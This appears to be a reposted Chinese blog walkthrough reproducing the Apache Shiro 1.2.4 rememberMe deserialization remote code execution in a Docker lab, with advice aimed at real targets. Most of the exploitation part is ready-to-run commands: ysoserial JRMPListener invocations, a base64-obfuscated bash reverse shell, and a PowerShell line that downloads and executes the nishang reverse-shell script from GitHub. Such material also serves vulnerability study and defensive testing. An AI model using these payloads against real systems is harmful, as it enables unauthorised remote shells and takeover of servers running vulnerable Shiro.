shiro Remember 1.2.4反序列化漏洞


前言

Apache Shiro 是企業常見的Java安全框架,執行身份驗證、授權、密碼和會話管理。2016年,曝光出1.2.4以前的版本存在反序列化漏洞。
當shiro <=1.2.4 AES的密鑰(CookieRememberMeManager)是默認的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE。因為aes的密鑰是以硬編碼方式寫入在程序源碼中,嚴格來說,只要得到aes的密鑰就可以進行反序列化。

cookie處理流程:
shiro 將cookie中的rememberMe字段內容分別進行序列化、AES加、Base64編碼得到cookie值,其處理cookie(cookie解密)的流程是:得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化。

環境搭建

使用docker鏡像

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

靶場

當響應頭中cookie中含有rememberMe=deleteMe就是shiro框架

漏洞復現

1.使用vps監控JRMP端口
注意:必須是公網地址,目標會鏈接jrmp服務
真實環境是CommonsCollections5,隨機應變,一般范圍1-5
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "命令"

2.構造payload

python shiro.py x.x.x.x:1099

3.將payload放入cookie參數中

可以看到漏洞成功后,jmrp服務中會又連接

payload

linux反彈shell:


java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 'bash -c       {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOC4xLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'

windows使用powershell反彈shell:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.228.1 -port 2333"`


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM